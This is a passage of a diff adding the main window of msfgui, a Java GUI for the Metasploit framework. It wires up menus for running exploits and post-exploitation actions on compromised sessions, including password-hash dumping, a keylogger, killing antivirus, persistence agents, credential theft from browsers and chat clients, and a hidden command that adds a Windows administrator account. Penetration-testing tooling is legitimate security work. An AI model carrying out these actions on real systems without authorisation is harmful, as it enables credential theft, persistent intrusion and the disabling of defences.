ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) { + return new ActionListener(){ + public void actionPerformed(ActionEvent e) { + new ModulePopup(modName,rpcConn,type, recentMenu).setVisible(true); + } + }; + } + }; + //Exploits and auxiliary get modulepopups; payloads get payloadpopups duh + setMessage("Getting exploits"); + expandList((Object[]) ((Map)rpcConn.execute("module.exploits")).get("modules"), exploitsMenu, moduleFactory, "exploit"); + setProgress(0.33f); + setMessage("Getting auxiliary modules"); + expandList((Object[]) ((Map)rpcConn.execute("module.auxiliary")).get("modules"), auxiliaryMenu, moduleFactory, "auxiliary"); + setProgress(0.66f); + setMessage("Getting payloads"); + expandList((Object[]) ((Map)rpcConn.execute("module.payloads")).get("modules"), payloadsMenu, new RunMenuFactory(){ + public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) { + return new ActionListener() { + public void actionPerformed(ActionEvent e) { + new PayloadPopup(modName, rpcConn, me).setVisible(true); + } + }; + } + }, "payload"); + setProgress(1.0f); + } catch (MsfException ex) { + statusAnimationLabel.setText("Error getting module lists. " + ex); + } + return null; + } + + @Override + protected void succeeded(Void blah) { + sessionsPollTimer.execute(); + statusAnimationLabel.setText("Ready"); + setMessage(""); + } + }; + } + + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + mainPanel = new javax.swing.JPanel(); + splitPane = new javax.swing.JSplitPane(); + jobsPanel = new javax.swing.JPanel(); + jobsLabel = new javax.swing.JLabel(); + jScrollPane1 = new javax.swing.JScrollPane(); + jobsList = new javax.swing.JList(); + sessionsPanel = new javax.swing.JPanel(); + sessionsLabel = new javax.swing.JLabel(); + jScrollPane2 = new javax.swing.JScrollPane(); + sessionsTable = new javax.swing.JTable(); + searchButton = new javax.swing.JButton(); + menuBar = new javax.swing.JMenuBar(); + javax.swing.JMenu fileMenu = new javax.swing.JMenu(); + connectRpcMenuItem = new javax.swing.JMenuItem(); + startRpcMenuItem = new javax.swing.JMenuItem(); + jSeparator1 = new javax.swing.JPopupMenu.Separator(); + changeLFMenuItem = new javax.swing.JMenuItem(); + javax.swing.JMenuItem exitMenuItem = new javax.swing.JMenuItem(); + exploitsMenu = new javax.swing.JMenu(); + auxiliaryMenu = new javax.swing.JMenu(); + payloadsMenu = new javax.swing.JMenu(); + historyMenu = new javax.swing.JMenu(); + recentMenu = new javax.swing.JMenu(); + clearHistoryItem = new javax.swing.JMenuItem(); + postMenu = new javax.swing.JMenu(); + menuRunAllMeterp = new javax.swing.JMenu(); + otherMeterpCommandMenu = new javax.swing.JMenuItem(); + killSessionsMenuItem = new javax.swing.JMenuItem(); + collectedCredsMenuItem = new javax.swing.JMenuItem(); + logGenerateMenuItem = new javax.swing.JMenuItem(); + helpMenu = new javax.swing.JMenu(); + onlineHelpMenu = new javax.swing.JMenuItem(); + javax.swing.JMenuItem aboutMenuItem = new javax.swing.JMenuItem(); + statusPanel = new javax.swing.JPanel(); + statusMessageLabel = new javax.swing.JLabel(); + statusAnimationLabel = new javax.swing.JLabel(); + progressBar = new javax.swing.JProgressBar(); + + mainPanel.setName("mainPanel"); // NOI18N + + splitPane.setBorder(null); + splitPane.setLastDividerLocation(250); + splitPane.setName("splitPane"); // NOI18N + splitPane.setPreferredSize(new java.awt.Dimension(30, 20)); + + jobsPanel.setName("jobsPanel"); // NOI18N + jobsPanel.setPreferredSize(new java.awt.Dimension(10, 19)); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(MainFrame.class); + jobsLabel.setText(resourceMap.getString("jobsLabel.text")); // NOI18N + jobsLabel.setName("jobsLabel"); // NOI18N + + jScrollPane1.setName("jScrollPane1"); // NOI18N + jScrollPane1.setPreferredSize(new java.awt.Dimension(10, 10)); + + jobsList.setName("jobsList"); // NOI18N + jScrollPane1.setViewportView(jobsList); + + javax.swing.GroupLayout jobsPanelLayout = new javax.swing.GroupLayout(jobsPanel); + jobsPanel.setLayout(jobsPanelLayout); + jobsPanelLayout.setHorizontalGroup( + jobsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 37, Short.MAX_VALUE) + .addGroup(jobsPanelLayout.createSequentialGroup() + .addComponent(jobsLabel) + .addContainerGap()) + ); + jobsPanelLayout.setVerticalGroup( + jobsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jobsPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(jobsLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 411, Short.MAX_VALUE) + .addContainerGap()) + ); + + splitPane.setLeftComponent(jobsPanel); + + sessionsPanel.setName("sessionsPanel"); // NOI18N + + sessionsLabel.setText(resourceMap.getString("sessionsLabel.text")); // NOI18N + sessionsLabel.setName("sessionsLabel"); // NOI18N + + jScrollPane2.setName("jScrollPane2"); // NOI18N + + sessionsTable.setModel(new javax.swing.table.DefaultTableModel( + new Object [][] { + + }, + new String [] { + + } + )); + sessionsTable.setName("sessionsTable"); // NOI18N + jScrollPane2.setViewportView(sessionsTable); + + searchButton.setText(resourceMap.getString("searchButton.text")); // NOI18N + searchButton.setName("searchButton"); // NOI18N + searchButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + searchButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout sessionsPanelLayout = new javax.swing.GroupLayout(sessionsPanel); + sessionsPanel.setLayout(sessionsPanelLayout); + sessionsPanelLayout.setHorizontalGroup( + sessionsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(sessionsPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(sessionsLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 710, Short.MAX_VALUE) + .addComponent(searchButton)) + .addComponent(jScrollPane2, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 845, Short.MAX_VALUE) + ); + sessionsPanelLayout.setVerticalGroup( + sessionsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(sessionsPanelLayout.createSequentialGroup() + .addGroup(sessionsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(sessionsPanelLayout.createSequentialGroup() + .addGap(12, 12, 12) + .addComponent(sessionsLabel)) + .addComponent(searchButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 412, Short.MAX_VALUE) + .addContainerGap()) + ); + + splitPane.setRightComponent(sessionsPanel); + + javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(mainPanel); + mainPanel.setLayout(mainPanelLayout); + mainPanelLayout.setHorizontalGroup( + mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(splitPane, javax.swing.GroupLayout.DEFAULT_SIZE, 887, Short.MAX_VALUE) + .addContainerGap()) + ); + mainPanelLayout.setVerticalGroup( + mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup() + .addComponent(splitPane, javax.swing.GroupLayout.DEFAULT_SIZE, 460, Short.MAX_VALUE) + .addContainerGap()) + ); + + menuBar.setName("menuBar"); // NOI18N + + fileMenu.setMnemonic('F'); + fileMenu.setText(resourceMap.getString("fileMenu.text")); // NOI18N + fileMenu.setName("fileMenu"); // NOI18N + + connectRpcMenuItem.setMnemonic('C'); + connectRpcMenuItem.setText(resourceMap.getString("connectRpcMenuItem.text")); // NOI18N + connectRpcMenuItem.setName("connectRpcMenuItem"); // NOI18N + connectRpcMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + connectRpcMenuItemActionPerformed(evt); + } + }); + fileMenu.add(connectRpcMenuItem); + + startRpcMenuItem.setMnemonic('S'); + startRpcMenuItem.setText(resourceMap.getString("startRpcMenuItem.text")); // NOI18N + startRpcMenuItem.setName("startRpcMenuItem"); // NOI18N + fileMenu.add(startRpcMenuItem); + + jSeparator1.setName("jSeparator1"); // NOI18N + fileMenu.add(jSeparator1); + + changeLFMenuItem.setMnemonic('L'); + changeLFMenuItem.setText(resourceMap.getString("changeLFMenuItem.text")); // NOI18N + changeLFMenuItem.setName("changeLFMenuItem"); // NOI18N + changeLFMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + changeLFMenuItemActionPerformed(evt); + } + }); + fileMenu.add(changeLFMenuItem); + + javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getActionMap(MainFrame.class, this); + exitMenuItem.setAction(actionMap.get("quit")); // NOI18N + exitMenuItem.setName("exitMenuItem"); // NOI18N + exitMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + exitMenuItemActionPerformed(evt); + } + }); + fileMenu.add(exitMenuItem); + + menuBar.add(fileMenu); + + exploitsMenu.setMnemonic('E'); + exploitsMenu.setText(resourceMap.getString("exploitsMenu.text")); // NOI18N + exploitsMenu.setName("exploitsMenu"); // NOI18N + menuBar.add(exploitsMenu); + + auxiliaryMenu.setMnemonic('A'); + auxiliaryMenu.setText(resourceMap.getString("auxiliaryMenu.text")); // NOI18N + auxiliaryMenu.setName("auxiliaryMenu"); // NOI18N + menuBar.add(auxiliaryMenu); + + payloadsMenu.setMnemonic('P'); + payloadsMenu.setText(resourceMap.getString("payloadsMenu.text")); // NOI18N + payloadsMenu.setName("payloadsMenu"); // NOI18N + menuBar.add(payloadsMenu); + + historyMenu.setMnemonic('H'); + historyMenu.setText(resourceMap.getString("historyMenu.text")); // NOI18N + historyMenu.setName("historyMenu"); // NOI18N + + recentMenu.setMnemonic('R'); + recentMenu.setText(resourceMap.getString("recentMenu.text")); // NOI18N + recentMenu.setEnabled(false); + recentMenu.setName("recentMenu"); // NOI18N + historyMenu.add(recentMenu); + + clearHistoryItem.setMnemonic('H'); + clearHistoryItem.setText(resourceMap.getString("clearHistoryItem.text")); // NOI18N + clearHistoryItem.setName("clearHistoryItem"); // NOI18N + clearHistoryItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + clearHistoryItemActionPerformed(evt); + } + }); + historyMenu.add(clearHistoryItem); + + menuBar.add(historyMenu); + + postMenu.setMnemonic('t'); + postMenu.setText(resourceMap.getString("postMenu.text")); // NOI18N + postMenu.setName("postMenu"); // NOI18N + + menuRunAllMeterp.setMnemonic('R'); + menuRunAllMeterp.setText(resourceMap.getString("menuRunAllMeterp.text")); // NOI18N + menuRunAllMeterp.setName("menuRunAllMeterp"); // NOI18N + + otherMeterpCommandMenu.setMnemonic('O'); + otherMeterpCommandMenu.setText(resourceMap.getString("otherMeterpCommandMenu.text")); // NOI18N + otherMeterpCommandMenu.setName("otherMeterpCommandMenu"); // NOI18N + otherMeterpCommandMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + otherMeterpCommandMenuActionPerformed(evt); + } + }); + menuRunAllMeterp.add(otherMeterpCommandMenu); + + postMenu.add(menuRunAllMeterp); + + killSessionsMenuItem.setMnemonic('K'); + killSessionsMenuItem.setText(resourceMap.getString("killSessionsMenuItem.text")); // NOI18N + killSessionsMenuItem.setName("killSessionsMenuItem"); // NOI18N + killSessionsMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + killSessionsMenuItemActionPerformed(evt); + } + }); + postMenu.add(killSessionsMenuItem); + + collectedCredsMenuItem.setMnemonic('S'); + collectedCredsMenuItem.setText(resourceMap.getString("collectedCredsMenuItem.text")); // NOI18N + collectedCredsMenuItem.setName("collectedCredsMenuItem"); // NOI18N + collectedCredsMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + collectedCredsMenuItemActionPerformed(evt); + } + }); + postMenu.add(collectedCredsMenuItem); + + logGenerateMenuItem.setMnemonic('G'); + logGenerateMenuItem.setText(resourceMap.getString("logGenerateMenuItem.text")); // NOI18N + logGenerateMenuItem.setName("logGenerateMenuItem"); // NOI18N + logGenerateMenuItem.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + logGenerateMenuItemActionPerformed(evt); + } + }); + postMenu.add(logGenerateMenuItem); + + menuBar.add(postMenu); + + helpMenu.setMnemonic('H'); + helpMenu.setText(resourceMap.getString("helpMenu.text")); // NOI18N + helpMenu.setName("helpMenu"); // NOI18N + + onlineHelpMenu.setMnemonic('O'); + onlineHelpMenu.setText(resourceMap.getString("onlineHelpMenu.text")); // NOI18N + onlineHelpMenu.setName("onlineHelpMenu"); // NOI18N + onlineHelpMenu.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + onlineHelpMenuActionPerformed(evt); + } + }); + helpMenu.add(onlineHelpMenu); + + aboutMenuItem.setAction(actionMap.get("showAboutBox")); // NOI18N + aboutMenuItem.setName("aboutMenuItem"); // NOI18N + helpMenu.add(aboutMenuItem); + + menuBar.add(helpMenu); + + statusPanel.setName("statusPanel"); // NOI18N + + statusMessageLabel.setName("statusMessageLabel"); // NOI18N + + statusAnimationLabel.setHorizontalAlignment(javax.swing.SwingConstants.LEFT); + statusAnimationLabel.setName("statusAnimationLabel"); // NOI18N + + progressBar.setName("progressBar"); // NOI18N + + javax.swing.GroupLayout statusPanelLayout = new javax.swing.GroupLayout(statusPanel); + statusPanel.setLayout(statusPanelLayout); + statusPanelLayout.setHorizontalGroup( + statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(statusPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(statusMessageLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 736, Short.MAX_VALUE) + .addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(statusAnimationLabel) + .addContainerGap()) + ); + statusPanelLayout.setVerticalGroup( + statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, statusPanelLayout.createSequentialGroup() + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(statusMessageLabel) + .addComponent(statusAnimationLabel) + .addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(3, 3, 3)) + ); + + setComponent(mainPanel); + setMenuBar(menuBar); + setStatusBar(statusPanel); + }// //GEN-END:initComponents + + private void exitMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_exitMenuItemActionPerformed + System.exit(0); + }//GEN-LAST:event_exitMenuItemActionPerformed + + private void connectRpcMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_connectRpcMenuItemActionPerformed + connectRpc(); + }//GEN-LAST:event_connectRpcMenuItemActionPerformed + + private void clearHistoryItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_clearHistoryItemActionPerformed + MsfguiApp.clearHistory(recentMenu); + }//GEN-LAST:event_clearHistoryItemActionPerformed + + private void onlineHelpMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_onlineHelpMenuActionPerformed + try{ + java.awt.Desktop.getDesktop().browse(new URI("http://www.metasploit.com/framework/support")); + } catch (IOException ex){ + JOptionPane.showMessageDialog(this.getFrame(), "Can't open browser. See http://www.metasploit.com/framework/support"); + } catch ( URISyntaxException usx){ + JOptionPane.showMessageDialog(this.getFrame(), "Can't find the URL. This really should never happen. Report this bug."); + } + }//GEN-LAST:event_onlineHelpMenuActionPerformed + + private void otherMeterpCommandMenuActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_otherMeterpCommandMenuActionPerformed + final String command = JOptionPane.showInputDialog(this.getFrame(), + "Enter a command","Run command on all meterpreter sessions", JOptionPane.QUESTION_MESSAGE); + if(command == null) + return; + runOnAllMeterpreters(command,command,statusMessageLabel); + }//GEN-LAST:event_otherMeterpCommandMenuActionPerformed + + private void logGenerateMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_logGenerateMenuItemActionPerformed + try{ + java.awt.Desktop.getDesktop().browse(new URI("file://"+MsfguiApp.cleanBackslashes(MsfguiLog.defaultLog.save()))); + }catch (Exception iox){ + MsfguiApp.fileChooser.setCurrentDirectory(new File(MsfguiApp.getTempFolder())); + MsfguiApp.fileChooser.setSelectedFile(new File("msfguilog.html")); + try{ + if(MsfguiApp.fileChooser.showSaveDialog(this.getFrame()) == JFileChooser.APPROVE_OPTION) + java.awt.Desktop.getDesktop().browse(new URI("file://"+MsfguiLog.defaultLog.save( + MsfguiApp.cleanBackslashes(MsfguiApp.fileChooser.getSelectedFile().getAbsolutePath())))); + }catch (Exception ex){ + JOptionPane.showMessageDialog(getFrame(), "Problem "+ex); + } + } + }//GEN-LAST:event_logGenerateMenuItemActionPerformed + + private void killSessionsMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_killSessionsMenuItemActionPerformed + for( Object sesObj : sessionsTableModel.sessions ){ + try{ + rpcConn.execute("session.stop", new Object[]{session.get("id")}); + } catch (MsfException xre) { + statusMessageLabel.setText("Error killing session "+session.get("id")); + } + } + }//GEN-LAST:event_killSessionsMenuItemActionPerformed + + private void changeLFMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_changeLFMenuItemActionPerformed + setLnF(true); + }//GEN-LAST:event_changeLFMenuItemActionPerformed + + private void collectedCredsMenuItemActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_collectedCredsMenuItemActionPerformed + new EditorWindow(MsfguiLog.defaultLog.getHashes()).setVisible(true); + }//GEN-LAST:event_collectedCredsMenuItemActionPerformed + + private void searchButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_searchButtonActionPerformed + searchWin.setVisible(true); + }//GEN-LAST:event_searchButtonActionPerformed + + /** Runs command on all current meterpreter sessions in new thread; posting updates for each thread */ + private void runOnAllMeterpreters(String cmd, String output, JLabel outputLabel) { + SessionCommand.runOnAllMeterpreters(sessionsTableModel, cmd, output, outputLabel, rpcConn); + } + + /** Displays a dialog to connect to msfrpcd. */ + private void connectRpc() { + //make new rpcConnection + rpcConn = OpenConnectionDialog.getConnection(this); + if(rpcConn != null) + getModules(); + } + + /** Attempts to start msfrpcd and connect to it.*/ + @Action + public Task startRpc() { + return RpcConnection.startRpcConn(this); + } + public void showInteractWindow() { + ((InteractWindow)(sessionPopupMap.get(session.get("uuid")))).setVisible(true); + } + /* Master function to setup popup menus for jobs and sessions + * First handles jobs, then shell sessions, then meterpreter sessions, + * and finally other sessions (like VNC). + */ + private void setupPopupMenus() throws HeadlessException { + //JOB POPUP MENUS + jobPopupMenu = new JPopupMenu(); + addSessionItem("Info",jobPopupMenu,new RpcAction() { + public void action() throws Exception { + Object obj = ((Map)rpcConn.execute("job.info", new Object[]{clickedJob})).get("info"); + (new JobInfoPopup(null, true, obj)).setVisible(true); + } + }); + addSessionItem("Stop",jobPopupMenu,new RpcAction() { + public void action() throws Exception { + if(!((Map)rpcConn.execute("job.stop", new Object[]{clickedJob})).get("result").equals("success")) + JOptionPane.showMessageDialog(null, "stop failed."); + } + }); + jobsList.addMouseListener( new PopupMouseListener() { + public void doubleClicked(MouseEvent e){ //show interaction window on double-click + try{ + Object obj = ((Map)rpcConn.execute("job.info", new Object[]{clickedJob})).get("info"); + (new JobInfoPopup(null, true, obj)).setVisible(true); + }catch (MsfException xre) { + JOptionPane.showMessageDialog(null, "info failed " + xre); + } + } + public void showPopup(MouseEvent e) { + int indx = jobsList.locationToIndex(e.getPoint()); + if(indx == -1) + return; + jobsList.setSelectedIndex(indx); + clickedJob = jobsList.getSelectedValue().toString().split(" ")[0]; + if(e.isPopupTrigger()) + jobPopupMenu.show(jobsList, e.getX(), e.getY() ); + } + }); + //SESSION POPUP MENUS + sessionsTable.addMouseListener(new PopupMouseListener() { + public void doubleClicked(MouseEvent e){ //show interaction window on double-click + int clickedSession = sessionsTable.rowAtPoint(e.getPoint()); + if (clickedSession == -1) + return; + session = (Map) sessionsTableModel.getSessionList().get(clickedSession); + showInteractWindow(); + } + public void showPopup(MouseEvent e) { + //must have a row selected + int clickedSession = sessionsTable.rowAtPoint(e.getPoint()); + if (!e.isPopupTrigger() || clickedSession == -1) + return; + session = (Map) sessionsTableModel.getSessionList().get(clickedSession); + if (session.get("type").equals("shell")) + shellPopupMenu.show(e.getComponent(), e.getX(), e.getY()); + else if (session.get("type").equals("meterpreter")) + meterpreterPopupMenu.show(e.getComponent(), e.getX(),e.getY()); + else + sessionPopupMenu.show(e.getComponent(), e.getX(),e.getY()); + } + }); + + //Setup shell popup menu + shellPopupMenu = new JPopupMenu(); + addSessionItem("Interact",shellPopupMenu,null); + addSessionItem("Upgrade",shellPopupMenu,new ActionListener() { + public void actionPerformed(ActionEvent e) { + JOptionPane.showMessageDialog(null, "This functionality not yet in msfrpc"); + } + }); + addSessionKillItem(shellPopupMenu); + + //Setup meterpreter menu + meterpreterPopupMenu = new JPopupMenu(); + addSessionItem("Access Filesystem",meterpreterPopupMenu,new RpcAction() { + public void action() throws Exception { + new MeterpFileBrowser(rpcConn, session, sessionPopupMap).setVisible(true); + } + }); + addSessionItem("Processes",meterpreterPopupMenu,new RpcAction() { + public void action() throws Exception { + new ProcessList(rpcConn,session,sessionPopupMap).setVisible(true); + } + }); + addSessionItem("Console",meterpreterPopupMenu,null); + addScript("Get hashes",meterpreterPopupMenu, + "multi_console_command -cl \"use priv\",\"getsystem\",\"run hashdump.rb\""); + final MainFrame mf = this; + addSessionItem("Route through this session",meterpreterPopupMenu,new AutorouteOptionsDialog(mf, true)); + addScript("Schedule command",meterpreterPopupMenu,new ScheduleTaskOptionsDialog(getFrame())); + addSessionItem("Unlock screen",meterpreterPopupMenu,"screen_unlock"); + addScript("Upload + execute",meterpreterPopupMenu,new UploadexecOptionsDialog(getFrame())); + addSessionItem("Ping/DNS sweep",meterpreterPopupMenu,new NetenumOptionsDialog(getFrame())); + addScript("Run shell commands",meterpreterPopupMenu,new MulticommandOptionsDialog(getFrame())); + addSessionItem("VirtualBox sysenter DoS",meterpreterPopupMenu,"virtualbox_sysenter_dos"); + + JMenu monitorMenu = new JMenu("Monitor"); + meterpreterPopupMenu.add(monitorMenu); + addScript("Start keylogger",monitorMenu,"keylogrecorder"); + addScript("Start packet recorder",monitorMenu,"packetrecorder"); + addScript("Screenshot",monitorMenu,new RpcAction() { + public void action() throws Exception { + rpcConn.execute("session.meterpreter_write", new Object[]{session.get("id"), + Base64.encode("screenshot\n".getBytes())}); + } + }); + + JMenu escalateMenu = new JMenu("Privilege escalation"); + meterpreterPopupMenu.add(escalateMenu); + addSessionItem("Start system session with HP PML Driver permission vulnerability",escalateMenu, + "pml_driver_config"); + addSessionItem("Start system session with Panda Antivirus permission vulnerability",escalateMenu, + "panda_2007_pavsrv51"); + addSessionItem("Start system session with SRT WebDrive permission vulnerability",escalateMenu, + "srt_webdrive_priv"); + addScript("Get system privs",escalateMenu,"multi_console_command -cl \"use priv\",\"getsystem\""); + addSessionItem("Brute force user/pass",escalateMenu,new WinbfOptionsDialog(getFrame())); + + JMenu accessMenu = new JMenu("Maintaining access"); + meterpreterPopupMenu.add(accessMenu); + addScript("Install metsvc (listening agent)", accessMenu,"metsvc.rb"); + addScript("Run persistence (connect back agent)",accessMenu,new PersistenceOptionsDialog(getFrame())); + addSessionItem("Open VNC",accessMenu,"vnc.rb -i"); + addScript("Setup RDP",accessMenu,new Object(){ + public String toString(){ + return "getgui.rb "+UserPassDialog.getUserPassOpts(getFrame()); + } + }); + addScript("Setup telnet",accessMenu,new Object(){ + public String toString(){ + return "gettelnet.rb "+UserPassDialog.getUserPassOpts(getFrame()); + } + }); + addScript("Add admin user",accessMenu,new RpcAction() { + public void action() throws Exception { + String[] userPass = UserPassDialog.showUserPassDialog(getFrame()); + if(userPass == null) + return; + rpcConn.execute("session.meterpreter_write", new Object[]{session.get("id"),Base64.encode( + ("execute -H -f cmd -a \"/c net user "+userPass[0]+" "+userPass[1]+" /ADD " + + "&& net localgroup Administrators "+userPass[0]+" /ADD\" \n").getBytes())}); + } + }); + addScript("Kill AV",accessMenu,"killav"); + + JMenu infoPopupMenu = new JMenu("System Information"); + meterpreterPopupMenu.add(infoPopupMenu); + addSessionItem("Check if in VM",infoPopupMenu,"checkvm"); + addSessionItem("VMWare configurations",infoPopupMenu,"enum_vmware"); + addSessionItem("Past and current logged on users", infoPopupMenu, "enum_logged_on_users -l -c"); + addSessionItem("Domain admins",infoPopupMenu,"domain_list_gen"); + addSessionItem("Recent documents",infoPopupMenu,"dumplinks -e"); + addSessionItem("Recent programs (by prefetch)",infoPopupMenu,"prefetchtool -p -i"); + addSessionItem("Countermeasures",infoPopupMenu, + "multi_console_command -cl \"run getcountermeasure -h\",\"run getcountermeasure\""); + addSessionItem("Environment variables",infoPopupMenu,"get_env"); + addSessionItem("Powershell Environment",infoPopupMenu,"enum_powershell_env"); + addSessionItem("Subnets",infoPopupMenu,"get_local_subnets"); + addSessionItem("Firefox credentials and profile info", infoPopupMenu, "enum_firefox"); + addSessionItem("Pidgin credentials",infoPopupMenu, + "multi_console_command -cl \"run get_pidgin_creds -h\",\"run get_pidgin_creds\""); + addSessionItem("Filezilla credentials",infoPopupMenu,"get_filezilla_creds"); + addSessionItem("VNC credentials",infoPopupMenu,"getvncpw"); + addSessionItem("Putty credentials",infoPopupMenu,"enum_putty"); + addSessionItem("winenum: env vars, interfaces, routing, users, processes, tokens...",infoPopupMenu,"winenum"); + addSessionItem("Remote winenum: most of the above run against a different system",infoPopupMenu, + new RemoteWinenumOptionsDialog(getFrame())); + addSessionKillItem(meterpreterPopupMenu); + + //Setup generic menu (for vnc or whatever other sessions) + sessionPopupMenu = new JPopupMenu(); + addSessionKillItem(sessionPopupMenu); + } + /** Adds a named session menu item to a given popup menu */ + private void addSessionItem(String name, JComponent menu,ActionListener action) { + JMenuItem tempItem = new JMenuItem(name); + menu.add(tempItem); + tempItem.addActionListener(action); + } + private void addSessionItem(String name, JComponent menu, Object action){ + addSessionItem(name, menu, new RpcAction(action,this)); + } + private void addScript(final String name, JComponent menu, final RpcAction action){ + addSessionItem(name,menu,action); + JMenuItem menuItem = new JMenuItem(name); + menuItem.setName(name); + menuItem.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent evt) { + runOnAllMeterpreters("run "+action.getCmd(),name,statusMessageLabel); + } + }); + menuRunAllMeterp.add(menuItem); + } + private void addScript(String name, JComponent menu, Object action){ + addScript(name, menu, new RpcAction(action,this)); + } + /** Adds a kill session menu item to a given popup menu */ + private void addSessionKillItem(JComponent popupMenu) throws HeadlessException { + addSessionItem("Kill session",popupMenu,new RpcAction() { + public void action() throws Exception { + rpcConn.execute("session.stop", new Object[]{session.get("id")}); + } + }); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JMenu auxiliaryMenu; + private javax.swing.JMenuItem changeLFMenuItem; + private javax.swing.JMenuItem clearHistoryItem; + private javax.swing.JMenuItem collectedCredsMenuItem; + private javax.swing.JMenuItem connectRpcMenuItem; + private javax.swing.JMenu exploitsMenu; + private javax.swing.JMenu helpMenu; + private javax.swing.JMenu historyMenu; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JScrollPane jScrollPane2; + private javax.swing.JPopupMenu.Separator jSeparator1; + private javax.swing.JLabel jobsLabel; + private javax.swing.JList jobsList; + private javax.swing.JPanel jobsPanel; + private javax.swing.JMenuItem killSessionsMenuItem; + private javax.swing.JMenuItem logGenerateMenuItem; + private javax.swing.JPanel mainPanel; + private javax.swing.JMenuBar menuBar; + private javax.swing.JMenu menuRunAllMeterp; + private javax.swing.JMenuItem onlineHelpMenu; + private javax.swing.JMenuItem otherMeterpCommandMenu; + private javax.swing.JMenu payloadsMenu; + private javax.swing.JMenu postMenu; + private javax.swing.JProgressBar progressBar; + public javax.swing.JMenu recentMenu; + private javax.swing.JButton searchButton; + private javax.swing.JLabel sessionsLabel; + private javax.swing.JPanel sessionsPanel; + private javax.swing.JTable sessionsTable; + private javax.swing.JSplitPane splitPane; + private javax.swing.JMenuItem startRpcMenuItem; + private javax.swing.JLabel statusAnimationLabel; + private javax.swing.JLabel statusMessageLabel; + private javax.swing.JPanel statusPanel; + // End of variables declaration//GEN-END:variables + private final Timer messageTimer; + private final Timer busyIconTimer; + private final Icon idleIcon; + private final Icon[] busyIcons = new Icon[15]; + private int busyIconIndex = 0; + private JDialog aboutBox; + 